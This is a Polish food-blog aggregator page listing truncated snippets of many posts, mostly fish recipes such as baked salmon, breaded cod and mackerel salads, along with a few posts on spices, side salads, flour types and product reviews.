Ryba barramundi, zwana również gigantycznym okoniem, w Polsce dopiero zaczyna swoje kuchenne podboje. Pochodzi z Australii, ale duże zainteresowanie w naszym kraju spowodowało, że powstała pod Olsztynem hodowla tej ryby. W warunkach naturalnych jej długość dochodzi do 180 cm, a waga do 60 kg. Uznanie szefów kuchni zawdzięcza swojemu(...)smakowi oraz delikatnemu i zwartemu mięsu. Jej główną zaletą jest to, że nie posiada ostrych i drobnych ości. Ryba idealna! Składniki dla 2 osób: • 2 filety barramundi • 1/2 papryki czerwonej • 1 cebula • 1 pomidor • 5 boczniaków • sok z 1/2 lemonki • 3 plastry imbiru świeżego • 1/2 szklanki bulionu • 1/2 puszki mleka kokosowego • 1 łyżka pasty curry

To co kocham
Puree z selera 152

zupie. Ale, odpowiednio przyrządzony i przyprawiony do smaku potrafi zamienić całe danie obiadowe w  wyrafinowaną potrawę, wówczas charakterystyczny smak selera doskonale równoważy się z subtelnym smakiem np. ryby lub białego mięsa. Składniki: seler  (około 500 g) sok z połowy cytryny 2 łyżki masła klarowanego 2 łyżki oliwy 150 ml mleka 150 ml wody sól biały pierz gałka(...)przyprawiłam do smaku solą, pieprzem i świeżo startą gałka muszkatołową. Gotowe puree przełożyłam do salaterki. Tak przygotowane można podać na stół zamiast ziemniaków. Doskonale pasują do dań mięsnych i ryb. Na takim puree podałam dorsza pieczonego w piekarniku. Zachęcam Was, żebyście chociaż raz zrezygnowali z ziemniaków i na rzecz puree z selera. Życzę SMACZNEGO! Krys Dziękuję

Kuchnia u Krysi
Błyskawiczny piątek - Łosoś na rukoli z cytrusowym dressingiem 157

pomarańczy  * sól, pieprz  * koperek Przygotowanie : Łososia przyprawić, polać oliwą i piec 15 minut. Ciepłe kawałki ryby układać na rukoli. Składniki dressingu wymieszać aż powstanie emulsja. Polać rybę i rukolę. Danie posypać koperkiem

Magiczne Życie Marty
Delikatne kotleciki rybne w sosie maślanym na sosie pieczarkowym 170

Pracochłonne... Tuczące bo tłuste... Ale w smaku tak pyszne, że jeśli zjemy taką rybę raz na jakiś czas, to nic nam się nie stanie. Bo niby czemu mamy sobie odmawiać czegoś, skoro jest smaczne? :) Składniki na kotlety: 400 gramów filetów z dorsza 1 białko 7 łyżek śmietany 18% 4-5 płaskich łyżek mąki sól szczypta gałki muszkatołowej szczypta pieprzu ziołowego(...)dodajemy połowę śmietany, mieszamy i wstawiamy z powrotem na gaz dodając powoli pozostałą ilość śmietany Doprawiamy do smaku Na talerzu ustawiamy kopczyk z pieczarek, na to kładziemy kotlet z ryby i polewamy sosem maślanym Smacznego :) W myśl akcji

Szczęśliwa kuchnia
Łosoś pod ziołową pierzynką ze słonecznikiem i szalotką 162

Ostatnio częściej jem ryby, więc postanowiłam się podzielić kolejnym przepisem, który był trochę eksperymentalnie stworzony, ale przeszedł moje najśmielsze oczekiwania :) Składniki: 200 gramów łososia 1 łyżka świeżej posiekanej pietruszki 1 łyżka świeżej posiekanej bazylii 2 łyżki słonecznika 1 szalotka 2 łyżki octu jabłkowego szczypta soli morskiej z papryczką chili W łososia wetrzeć ocet jabłkowy i posolić solą morską(...)odstawić na 10 minut W tym czasie szalotkę pokroić w piórka Włączyć piekarnik na 180 stopni C Łososia posypać słonecznikiem i obłożyć szalotką pokrojoną w piórka i posypać ziołami Rybę szczelnie zamknąć w folię aluminiową i włożyć do naczynia żaroodpornego Piec 25 minut Ja podałam z ziemniakami i z miksem sałat. Na zdrowie :) W myśl akcji

Szczęśliwa kuchnia
Wegańskie kotlety z selera 195

woda olej do smażenia kolory pieprz, sól   do obtaczania: bułka tarta mąka panierka wegańska: 2 łyżki mąki pół szklanki wody z gotowania selera 1,5 łyżeczki przyprawy do ryb  (w mojej był taki miks przyp raw: sól, czosnek, bazylia, gorczyca biała(...)cukier, imbir, tymianek, natka pietruszki, rozmaryn) 2 szczypty soli i pieprzu, 1 łyżeczka papryki słodkiej (konsystencja panierki powinna być gęsta) panierka wegetariańska: 2 jajka 1,5 łyżeczki przyprawy do ryb  (w mojej był taki miks przyp raw: sól, czosnek, bazylia, gorczyca biała, cukier, imbir, tymianek, natka pietruszki, rozmaryn) 2 szczypty soli i pieprzu, 1 łyżeczka papryki słodkiej Wykonanie

Mój pomysł na
Kolagenum Franciszka - "eliksir młodości" :) 98

zachować dobrą formę i młody wygląd.  Kolagenum Franciszka - to naturalny kolagen, który przebojem podbija świat! Jako jedyni w Polsce, firma ELENA uzyskuje ten suplement w drodze liofilizacji, z ryb, co gwarantuje jego najwyższą jakość i najczystszą - zbliżoną do ludzkiego postać. Kolagenum to naturalny eliksir młodości, który pozwala zachować zdrowy wygląd oraz kondycję skóry, tkanki łącznej i stawów przez(...)należy przekraczać maksymalnej porcji do spożycia w ciągu dnia. Preparat nie jest przeznaczony dla osób uczulonych lub cierpiących na nietolerancję któregokolwiek ze składników preparatu. Kolagenum Franciszka - Hydrolizowany kolagen z ryb  SKŁADNIKI: hydrolizowany kolagen (pochodzenia rybiego) 50%, liofilizowane kozie mleko, liofilizowane kobyle mleko, liofilizowane owoce: aronii i żurawiny, otoczka kapsułki hydroksypropyloceluloza i barwnik E171. Opakowanie zawiera 120 kapsułek

Zdrowie na języku :P
Łosoś pieczony ze szpinakiem 159

Łosoś, szpinak to coś co bardzo lubię. Bardzo pyszne danie, polecam. Zdjąć skórę z ryby, doprawić solą i pieprzem czarnym świeżo mielonym. Zostawić na chwilkę, żeby łosoś mocniej przeszedł rybkę. Przygotowanie szpinaku – na patelni rozgrzać oliwę, wrzucić posiekane ząbki czosnku. Chwilkę smażyć, mieszając. Wrzucić umyte i osuszone listki szpinaku. Smażyć aż szpinak zmięknie i utworzy się papka(...)Wlać śmietanę i dodać serek topiony. Wymieszać i doprawić do smaku. Pieczenie – na dno żaroodpornego naczynia rozłożyć masę ze szpinaku. Zostawić troszeczkę na później. Położyć łososia i ozdobić rybę resztą masy szpinakowej. Na górę każdego kawałka łososia rozłożyć kawałki masełka. Pomidorki przekroić na pół i rozłożyć naokoło. Nagrzać piekarnik do 200 C i piec 30 minut. Sprawdzić łososia

Kuchnia Pokoleń
Rio Mare: tuńczyk genialnej jakości jakiego nie znacie 157

Wami swoimi wrażeniami. Pierwszy raz byłam tak bardzo zaskoczona jakością tuńczyka z puszki . Do tej pory go unikałam, bo kojarzył mi się z szarą breją, niczym nie przypominającą ryby jaką znałam z wakacyjnych podróży. Rio Mare zdecydowanie oszałamia jakością, tuńczyk ma piękny jasny, lekko różowy kolor i skąpany jest w sosie własnym lub oliwie z oliwek – nie znajdziecie(...)warzyw to strzał w dziesiątkę.  Jeśli do tej pory nie znaliście tuńczyka Rio Mare, to zachęcam Was do spróbowania. Może i kosztuje trochę więcej niż standardowa puszka tej ryby, ale jakość jaka za tym idzie jest genialna i wynagradza różnicę cenową

Gotowanie i blogowanie
Schab wędzony dymem w płynie 124

najmniej tydzień. Wtedy z pomocą, dla tych niecierpliwych i dla tych, którzy w swoim zasięgu nie mają wędzarni, przychodzi naturalny dym wędzarniczy w płynie do różnych rodzajów mięs i ryb. Doskonale zastąpi on nam tradycyjny aromat dymu. Bardzo ważne jest, aby został wyprodukowany w kontrolowanym procesie pyrolizy, inaczej mówiąc suchej destylacji różnych rodzajów drewna. Jest to naturalny skondensowany(...)szkodliwych substancji. W swoim składzie nie powinien posiadać żadnych innych składników. Oczywiście ten dym możemy też używać do innych produktów, nie tylko do bejcowania czy też marynowania mięsa lub ryb, na przykład do różnego rodzaju serów (żółtych, twarogu, fety, mozzarelli) lub do dań,   których chcielibyśmy wykorzystać aromat wędzarniczego dymu (na przykład: zup, sosów, czy też potraw jednogarnkowych

Kulinarne przygody Gatity
Surówka obiadowa 492

ogórków , marynowanej papryki jest prosta i smaczna. Przygotowana z domowych przetworów. Ma jeszcze inną zaletę, moja surówka obiadowa jest tania. Jest idealnym dodatkiem do drugiego dania, pasuje do mięsa, ryb i do wszystkich klusek. Do kopytek lubię tradycyjną surówkę z kiszonej kapusty(...)zasmażaną kapustę. Polecam też inne przepisy na surówki: Surówka z kiszonej kapusty bez cebuli Surówka z marchewki – dietetyczna Surówka z kapusty, pora i koperku Surówka Colesław Surówka do ryby smażonej Surówka z kapusty pekińskiej surówka z modrej kapusty . surówka z młodej kapusty surówka z warzyw z papryką Jak przygotować najlepszą surówkę obiadową? Składniki: 500 g świeżo ukiszonej kapusty

Damsko-męskie spojrzenie na kuchnię
Rodzaje i typy mąk oraz ich wykorzystanie w kuchni 225

faworków, domowych bułeczek; typ 650, mąka dobra do przygotowania piernika, naleśników, racuchów, domowego chleba; Każdą z powyższych mąk możemy używać do zagęszczania sosów, potraw, panierek do kotletów i ryb czy zasmażek. Mąki o wyższych typach są wykorzystywane najczęściej do wypieków chleba. Im wyższy typ takiej mąki, tym bardziej zwarte pieczywo otrzymamy. Można ich używać także(...)jeszcze... mąka kukurydziana - nie zawiera glutenu; nadaje się praktycznie do wszystkiego, czyli domowego chleba kukurydzianego, naleśników, ciast (szczególnie ciast kruchych), biszkoptów, placków, bułek, panierek do kotletów i ryb czy zagęszczania sosów i zup; mąka gryczana - otrzymana dzięki zmieleniu nasion gryki, używana jest do produkcji makaronów, ciast, naleśników. Jest często mieszana z mąką pszenną, gdyż sama jest dość ciężka

Zasmakuj Kuchni
Boczniaki pod warzywną pierzynką i "Uczeń architekta" 156

jesiennych zbiorach warzyw wykopanych przed zimą małe jadalne korzenie wykorzystuję do typowego polskiego dania, jakim jest ryba po grecku. Małe okazy za chwilę zwiędną i trzeba je będzie wyrzucić, a póki są świeże, można je do czegoś wykorzystać. Nie miałam ostatnio dostaw ryb z zaufanego źródła, więc postanowiłam zamienić rybę boczniakami. Wyszło zdrowo, aromatycznie i pysznie :) Składniki

Weekendy w domu i ogrodzie
Pieczony łosoś z masłem pietruszkowym 92

Piąteczek już jutro, warto więc dzisiaj zaopatrzyć się w rybkę. Tym razem proponuję łososia. Czysty kawałek smacznej ryby. Dodatek masła nadaje delikatności rybie. Koniecznie spróbujcie. Składniki: ( propozycja dla 2 osób ) Łosoś ( płat ok. 200 na głowę ) Mały pęczek natki pietruszki 1 łyżka masła klarowanego Sól Pieprz cytrynowy Wykonanie: Łososia myjemy, osuszamy i lekko solimy. Układamy w naczyniu do pieczenia

Smaki Ewy
PIECZONY ŁOSOŚ Z SOSEM KOPERKOWYM 288

Proste danie, które zaskakuje smakiem i łatwością wykonania.  Łososia upiekłam w piekarniku, co zaoszczędziło mi zbędnego bałaganu i charakterystycznego zapachu unoszącego się w kuchni podczas smażenia ryby. Wyszedł idealnie miękki - soczysty i delikatny. Jeśli jednak preferujecie bardziej wypieczone filety, potrzymajcie je w piecu odpowiednio dłużej. Do łososia podałam bajecznie prosty, a zarazem pyszny sos na bazie słodkiej śmietanki

cool and minty
Śledź w śmietanie – sałatka śledziowa do pieczonych ziemniaków 217

słone, wodę i mleko należy po 10-12 godzinach wymienić na nową. Zalewamy śledzie mlekiem z wodą, odkładamy na noc do lodówki – pozwoli to w znacznym stopniu zniwelować słoność ryby. Wybrane filety osuszamy papierowym ręcznikiem i kroimy w poprzek na półcentymetrowe kawałki. Jabłko myjemy, wydrążamy gniazdo nasienne. Owoc kroimy w drobną kostkę, razem ze skórką. Ogórki również osuszamy papierowym(...)cebula też zda egzamin – byle nie klasyczna, żółta, bo ta jest najostrzejsza, a po pokrojeniu surowa gorzknieje. Mieszamy w misce śledzie ze wszystkimi dodatkami, dokładnie i delikatnie, tak żeby ryba się nie porozpadała. Przekładamy do salaterki i chłodzimy. Smakuje genialnie z ciemnym chlebem, słodko-kminkowym litewskim czy pumperniklem, do kieliszka zimnej wódki. Ale do pieczonych ziemniaków – poezja!   Jeśli

Karo in the Kitchen
Najbrzydszy obiad świata 140

jestem w stanie ani przygotować ani zjeść mięsa królika. Mam też problem z obróbką ryb ;) O ile królika odpuszczam, nie zagości w mojej kuchni jeszcze długo, tak do ryb pewnego dnia trzeba będzie się przełamać. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

bistro mama
O kuchennym zauroczeniu i jagodach z budyniem 133

tacy, jak mój tata) mają tu ogromne pole do popisu swoimi wędziskami ;) Po udanych połowach ryby trafiały albo na nasze talerze, albo do zamrażalnika, coby poczuć smak słodkowodnej ryby już po powrocie do miejskiej dżungli. Na czymś trzeba je by było usmażyć...i właśnie wtedy wpadła mi w ręce ( i oko) stara, ciężka, żeliwna patelnia. Potraktowana pazurem czasu

Kuchnia w Słońcu Skąpana
Sos do pulpecików rybnych babci Basi 125

zostawisz komentarz…, Sos do pulpecików rybnych : 1 kubek jogurtu naturalnego, 3 łyżki majonezu, 2 łyżki keczupu, 2 łyżki musztardy, szczypiorek lub pietruszka, koperek, przyprawy, sól,pieprz, przyprawa do ryb , Wszystkie składniki połączyć na gładki sos i polać pulpeciki

Pysznosci Babci Basi
Filet z sandacza na warzywnym tagliatelle z grzybami 111

Cukinia – 1 sztuka Kapary – 2 łyżeczki Grzyby np. borowiki – 3 sztuki Masło – 2-3 łyżki Białe wino – 120ml Sól, pieprz, papryka wędzona Oliwa – 1 łyżka do warzyw + do smażenia ryby Koperek, kiełki do dekoracji Wykonanie: Sandacza porcjujemy i każdą porcję smarujemy musztardą, nacieramy czosnkiem i przyprawiamy solą i pieprzem. Marchewkę obieramy ze skóry i przy pomocy obieraczki kroimy(...)ognia i mieszamy z kaparami. W między czasie rozgrzewamy drugą patelnię, na której smażymy sandacza (na rozgrzanym oleju od strony skóry przez 5 minut). Pod koniec smażenia na rybie układamy małe plasterki masła, a gdy się roztopią, przekładamy rybę na drugą stronę i smażymy przez 2-3 minuty. Na talerzu układamy tagliatelle warzywne z grzybami, a na nim sandacza. Całość

Kuchnia Bon Appetit
Aromatyczny dorsz. 115

Dobra ryba na obiad nigdy nie jest zła! Proponuję dorsza w wersji fit- aromatyczny, soczysty i kruchy! SKŁADNIKI: 500 g. fileta z dorsza 2 łyżki oliwy z oliwek 2 łyżki masła klarowanego mały ząbek czosnku koper sól, pieprz z moździerza sok z 1/2 limonki lub cytryny WYKONANIE: dorsza rozmrażamy, osuszamy ręcznikiem papierowym, kroimy na kawałki, na dno kładziemy folię aluminiową(...)błyszczącą stroną do zewnątrz smarujemy oliwą,  układamy kawałki dorsza, posypujemy solą, pieprzem, nacieramy rozgniecionym ząbkiem czosnku, skrapiamy sokiem z limonki, rybę posypujemy koperkiem i pokruszonym masłem(będzie bardziej fit, gdy pokropicie oliwą z oliwek), rybę zawijamy folią i tak przygotowaną wstawiamy do lodówki przynajmniej na 2 godz.- ja zostawiam na noc, rybę wstawiamy do piekarnika nagrzanego do 180 stopni

Kuchnia Beaty
Łosoś na pierzynce z dyni i ziemniaków 146

Włożyć blaszkę do piekarnika i piec kolejne 12-15 minut. Tak długo ja piekłam, ale musicie sami ocenić kiedy łosoś jest przepieczony. Czas pieczenia zależy od grubości ryby. Na talerz wyłożyć warzywa i łososia, udekorować gałązką kopru. To jest pyszne, polecam

Kuchnia Pokoleń
Łosoś z peperonatą i pieczonymi ziemniakami 143

poszukując inspiracji. Tak też powstał dzisiejszy przepis, który w dość zmodyfikowanej wersji pochodzi z książki Ryby Są Super. Ci, którzy lubią łososia będą zachwyceni, gdyż w tym wydaniu ryba tylko zyskuje w smaku. Delikatnie doprawiona kolendrą, znakomicie współgra z lekko pikantnym sosem na bazie papryki, pomidorów i czosnku. Koniecznie podajcie je jak, z pieczonymi ziemniaczkami w marynacie czosnkowo-kuminowej

Fabryka pomysłów
DORSZ W PANIERCE 92

Dorsz w panierce to doskonały pomysł na piątkowy obiad, jednak ja do piątku nie wytrzymałam i zrobiłam rybę dziś :) Skropiony sokiem z cytryny smakuje obłędnie, koniecznie musicie wypróbować.  Składniki: * 6-7 kawałków filetu z dorsza * pół cytryny * pół natki koperku drobno posiekany * łyżeczka soli * 3/4 szklanki mąki * 3/4 szklanki bułki tartej * 2 jajka * olej do smażenia Wykonanie: Dorsza skropić(...)sokiem z cytryny, odstawić na 10-15 minut. W jednej misce rozklepać 2 jajka. w drugiej zmieszać ze sobą mąkę, bułkę tartą, sól i posiekany koperek, wymieszać. Kawałki ryby moczyć w jajku następnie w panierce, smażyć na rozgrzanym oleju na złoty kolor z obu stron

Zrób to smacznie
Cotygodniowy przegląd promocji w gazetkach 159

gazetek- wybaczcie :) Za to dziś ruszam z kopyta :D Bardzo dużo ciekawych gadżetów i przydatnych akcesoriów kuchennych znalazłam. Zdecydowanym moimi faworytami są: maszynka do pieczenia chleba, deska do krojenia ryb, spiralna krajalnica do warzyw i magnes do usuwania tłuszczu :) Zelmer maszynka do mięsa Cena średnia. Zazwyczaj w sklepach stacjonarnych jest wyższa, ale w internecie można kupić(...)Świetnie się sprawdza w pieczeniu. Kaufland do 31 sierpnia Nakłuwacz do mięsa Nakłuwanie mięsa wydobywa najlepszy smak z przygotowywanych potraw mięsnych. Netto  do 4 września Deska do krojenia ryb Prosty, ale za to jaki przydatny gadżet! Netto  do 4 września Zestaw zamknięć Prosty sposób przechowywania, zajmujący mało miejsca :)  Netto  do 4 września Silikonowy zaparzacz Alternatywa

Tradycyjna Kuchnia
Gotowana ryba morska z pokrzywami. 153

Składniki : 1 ryba morska ( dorsz, morszczuk, sola ) 2 l wody  1/2 l mleka 1 pęczek świeżych młodych pokrzyw ( około 10 gałązek ) 1 cebula sól, pieprz, cukier do smaku Sposób wykonania :    R ybę sprawić, umyj, włóż do garnka lub rondla z mlekiem i pokrzywami ( pokrzywy skutecznie usuną zapach tranu z ryby ). Pozostaw na kilkanaście minut.  Następnie(...)rybę wyjmij, opłucz i gotuj w wodzie 20 minut od momentu zagotowania dodając sól, pieprz i cukier do smaku, oraz całą cebulę. Podawaj z gotowanymi warzywami.                               Życzę smacznego

Przepisy i porady kulinarne
Penne z pstrągiem łososiowym w sosie jogurtowo-koperkowym (Penne con trota salmonata allo yogurt) 144

aglio 1 limone aneto sale, pepe PRZYGOTOWANIE Filet z pstrąga układamy na natłuszczonej formie do pieczenia sk ó rką do dołu. Wierzch ryby posypujemy solą i pieprzem. Zapiekamy ok. 15-20 minut w piekarniku nagrzanym do 180 stopni. Makaron gotujemy al dente w osolonej wodzie. Do jogurtu dodajemy bulion, posiekany koperek(...)czosnku, sk ó rkę i sok z cytryny, mieszamy. Doprawiamy solą i pieprzem. Z upieczonego łososia zdejmujemy skórę, po czym kroimy w kostkę. Rybę i makaron mieszamy z sosem jogurtowym. Dekorujemy koperkiem i oprószamy grubo mielonym czarnym pieprzem. **** PREPARAZIONE Ungete una pirofila con dell'olio e mettete in filetto

La grande e la piccola cuoca
Łosoś w peperonacie – piątkowy obiad 181

zazwyczaj ma miejsce w piątek - na obiad była pyszna ryba :) Bardzo lubimy łososia, nie tylko ze względu na jego bogactwo składników odżywczych - zawiera między innymi potas, selen, kwasy omega-3, witaminę A, witaminę D, witaminę E, witaminę B, ale głównie za jego smak. Tym razem inspirując się przepisem z książki "Ryby są super" wydanej i dostępnej jakiś czas temu

Kulinarnyblog.pl - wiesz jak gotować!
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 134

niego wiele dań, między innymi tę „Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem”. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy cytryny(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first on Moja Delicja - Przepisy kulinarne

Moja Delicja
Łosoś z sosem z mango / Roasted salmon with mango sauce 190

ostatnio spełniłam życzenie mojego ukochanego i zrobiłam mu na obiad schabowego (a nie przepadam), tym razem musiał się zgodzić moją propozycję:) Biorąc pod uwagę fakt, że uwielbiam ryby i owoce morza postawiłam na bezpiecznego łososia, którego nawet mój połówek toleruje. Postanowiłam poszukać czegoś innego niż zwykle i takim też sposobem trafiłam na przepis Asi z Kwestii Smaku

karmelowy
ŚWIEŻA MAKRELA Z PIEKARNIKA 181

Świeża makrela nie wymaga zbytniego przyprawiania, wystarczy sól, pieprz, sok z cytryny, oliwa z oliwek i można wyczarować pyszną w smaku pieczoną makrelę.  Ryba ta ceniona jest szczególnie za swoje wartości smakowe i odżywcze (zawiera bardzo dużo białka i doskonale wpływa na naszą odporność).  Składniki: * świeża makrela * sól i pieprz do smaku * kilka kropel soku z cytryny * oliwa(...)nasmarowania makreli Wykonanie: Makrelę dokładnie oczyścić i umyć. Osuszyć. Doprawić solą i pieprzem, skropić sokiem z cytryny, nasmarować oliwą z oliwek. Odstawić na około 2 godziny. Po tym czasie rybę przełożyć na blachę i wstawić do piekarnika nagrzanego do 180'C. Piec około 40-45 minut (po około 20 minutach rybę odwrócić na drugą stronę

Zrób to smacznie
Jak nad morzem najeść się ryb i nie zbankrutować? 113

takie miejsca, gdzie plaże nie są zatłoczone, a plażowicze mają szansę na spokojny wypoczynek, nie zagrożony zawałem serca od nagłych ryków młodzieży […] Artykuł Jak nad morzem najeść się ryb i nie zbankrutować? pochodzi z serwisu Wiszniówka

Wiszniówka
Pulpeciki z dorsza w sosie paprykowo-pomidorowym - dzieci to lubią! 119

boją się ości. Czy jest na to jakaś metoda, oprócz wybierania ości pęsetą przed przyrządzeniem ryby? Oczywiście! Proste i smaczne danie w postaci małych, smakowitych kuleczek z mięsa ryby, ugotowanych na parze. To jest lepsze niż mielony! 😉   Nie rozumiem do końca, dlaczego tak jest, […] Artykuł Pulpeciki z dorsza w sosie paprykowo-pomidorowym -> dzieci to lubią! pochodzi

Wiszniówka
Cynamon, goździki, kolendra, imbir, gałka muszkatołowa i kardamon 170

chlorogenowy, kawowy), taniny oraz sporą ilość chromu, dzięki któremu mamy mniejszą ochotę na słodycze. W kuchni idealnie komponuje się z pieczonymi jabłkami i deserami. Dodajcie go też do smażonej ryby, a jej smak i aromat zyskają wiele. Goździki Goździki mają właściwości znieczulające i odświeżające, dlatego ich żucie lub ssanie to sprawdzony sposób na ból zęba i nieświeży oddech. Goździki(...)ziarenka w moździerzu, gdyż trzymany w formie sypkiej szybko traci swój aromat. Ze względu na intensywny smak, lepiej używać go w małych ilościach. Można go dodawać zarówno do mięsa, ryb, gulaszów czy pasztetów jak i do dań na słodko. Stosuje się go także do wyrobu nalewek, wódek i likierów. Jest jednym ze składników curry.  Kardamon prócz szerokiego zastosowania

Zasmakuj Kuchni
Kurkuma, przyprawa indyjska 149

więzadeł i uśmierzania bólów menstruacyjnych. Aby jednak była skuteczna powinna być dobrej jakości, bez zbędnych dodatków. W kuchni używam jej najczęściej do zabarwiania białego ryżu, potraw z kurczaka, czy ryb. Jest jedną z podstawowych przypraw w krajach Bliskiego Wschodu - wchodzi na przykład(...)skład curry. Kurkuma jest też istotnym składnikiem musztardy i sosu Worcestershire. Mielona kurkuma to doskonały dodatek do potraw duszonych, zup i ryżu. Nada charakterystyczny smak rosołowi, potrawom z drobiu, ryb i owoców morza. Można dodawać ją do marynat. Kurkuma to także zamiennik szafranu - jednej z najdroższych przypraw świata. Warto wiedzieć, że kurkuma jest stosowana w przemyśle spożywczym jako barwnik

Zasmakuj Kuchni
Dorsz pieczony z warzywami 183

Dorsz jest jedną z bardziej popularnych ryb jakie można dostać na naszym rynku. Jego walory smakowe i niska zawartość tłuszczu w porównaniu do np. łososia sprawia, że chętnie go spożywamy. Najwięcej wartości posiada dorsz przygotowany na parze lub upieczony w folii, nie wysycha i nie traci witamin, a do tego samo przygotowanie nie wymaga od nas dużo wysiłku. Dorsza(...)warzywa i na wytopiony sos położyć część ugotowanego ryżu. Tak przygotowanego dorsza nie wykładam z folii na talerz, tylko podaję razem z nią, wtedy ryż wchłonie cały sos, a ryba jest dłużej ciepła

Kuchcik gotuje
Sałatka z wędzonej makreli 170

Jedna z ryb która często gości na naszych stołach. Jest nie tylko bogata w kwasy tłuszczowe ale również w selen i jod. Warto ją jeść, dlatego dziś sałatka z makreli. Smacznego! :) Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size(...)ostrej musztardy Sól, pieprz Sposób wykonania: Makrele dobrze oczyścić ze skóry i ości. Włożyć do dużej miski. Ogórki,  paprykę, jajka oraz cebule pokroić w kostkę i dodać do ryby. Doprawić majonezem, musztardą oraz solą i pieprzem

Smaki Natalii
Pasta z wędzonej makreli 147

Naprawde zachęcam do jedzenia ryb. Na blogu ukazał się już przepis z wędzoną makrelą ( sałatka z wędzonej makreli) , ale dobrych ryb nigdy dość. Dziś szybka i praktyczna pasta z makreli. Polecam :) Pasta z wędzonej makreli Składniki: 1 wędzona makrela 2 ogórki konserwowe/kiszone 1 mała cebula koprek/natka pietruszki 1 łyzka majonezu 1 łyżka śmietany 18% 1 łyżeczka musztardy sól

Smaki Natalii
W SKRÓCIE: TŁUSZCZE 137

czasie staje się to nawet smaczniejszą opcją :D Taka kanapeczka z oliwą i miodem .. mmmm!! KWASY TŁUSZCZOWE WIELONIENASYCONE OMEGA-3: olej lniany, nasiona lnu, olej z orzechów włoskich, ryby (w tym śledzie!!) OMEGA-6: olej słonecznikowy, kukurydziany, sojowy, z kiełków pszenicy, orzeszki ziemne Zalecane jest, aby proporcja omega-6 do omega-3 była jak najmniejsza, maksymalnie 5:1. Należy(...)komórek i tkanki nerwowej niezbędny do prawidłowego wzrostu i rozwoju niezbędny do syntezy witaminy D i produkcji niektórych hormonów syntezowany w organizmie Obecny TYLKO w produktach pochodzenia zwierzęcego (mięso, ryby, owoce morza, nabiał, jaja).  JEŚĆ ŻÓŁTKO CZY NIE? Tak na prawdę, nie ma jednoznacznych badań, które potwierdziłyby teorię, że cholesterol spożywany wraz z pokarmem powoduje wzrost cholesterolu

Vroblewska-fitlife
Catering dietetyczny? Pomelo! 141

upałów pomyślałam, że z chęcią spróbuję gotowym posiłków zamiast stać przy garnkach. Wybrałam dietę wege. I tu zaskoczenie. Dieta tak naprawdę jest dietą jarską a nie wege gdyż obejmuje ryby. Niestety już na początku pojawiły się problemy. Punkt pierwszy, nie jestem z Warszawy czego Pani składająca mi propozycję nie wiedziała i o co nie zapytała, i 2 kilometry(...)domu. Syncio podjadał :) Po powrocie do domu w końcu mogłam odgrzać obiad. Surówka z czerwonej kapusty była całkiem niezła, pure ziemniaczane w niewielkiej ilości ale smaczne za to porcja ryby wielgachna. Podzieliłam się obiadem z Córcią i najedzone byłyśmy obie. Przejdźmy teraz do wniosków. Czy warto korzystać z tego typu cateringu jaki oferuje Pomelo? Tak. Jeśli mieszkacie w Warszawie

Dzieje kuchennej Wiewióry
SZPINAKOWY ŁOSOŚ PIECZONY W CIEŚCIE FRANCUSKIM 144

Uwielbiam rybę w cieście francuskim. Tak podana, pięknie wygląda, pysznie smakuje i z pewnością zachwyci naszych gości.                                                                  SKŁADNIKI :  1 opakowanie ciasta francuskiego 150 g łososia(...)maśle aż zmięknie. Ciasto francuskie rozwijamy, na środek kładziemy porcję szpinaku, na to układamy odsączonego łososia i por. Ciasto nacinamy po bokach, na paski, zaplatamy warkocz formując kształt ryby. Z reszty ciasta robimy płetwy. Całość smarujemy rozmąconym jajkiem i pieczemy w nagrzanym piekarniku do 200 *C, przez około 20-25 minut. Po ostygnięciu kroimy łososia na porcje i podajemy

Kulinarne Fantazje Marioli
Terrina z łososia w maku 154

Terrina jest to rodzaj pasztetu z mięsa, ryb lub warzyw, pieczona w kąpieli wodnej. Podawana może być na zimno, ale również i na ciepło. Szczególnie popularna w restauracjach francuskich, ale nie tylko. Bardzo prosty przepis, którego efekt jest zaskakujący i dla oczu, i dla podniebienia - terrina z łososia w maku. Składniki na formę keksowa(...)soli morskiej (cypryjska) - masło do wysmarowania formy - mak do oprószenia formy i terriny Łososia i cebulę kroimy w dużą kostkę. Odkładamy trochę ładnych „kostek” do ułożenia w całości. Pozostałą rybę, z cebulą przekładamy do malaksera. Dodajemy startą skórkę z wyparzonej cytryny, odciśnięte bułki, całe jajka i sól – miksujemy pulsacyjnie. Dodajemy zielony pieprz marynowany – mieszamy łyżką (pieprz ma pozostać w całości

mojewypiekiinietylko
Woll Saphir Lite Induction – recenzja nadzwyczajnej patelni 119

PARMEZANEM. To danie jednogarnkowe, które w normalnych warunkach potrzebowałoby przynajmniej dwóch osobnych naczyń i dość sporo czasu. Następnie zachciało mi się ryby. I tak powstało danie z rybą – mintaj w panierce z płatków owsianych!  PRZEPIS NA TE RYBĘ ZNAJDZIECIE TUTAJ. Soczysty mintaj w chrupiącej panierce, warto tego spróbować! Następnie postawiłam na Włochy! Z pozoru trudne do wykonania risotto

Z Kuchni Do Kuchni
Tarta ze szpinakiem i łososiem. 216

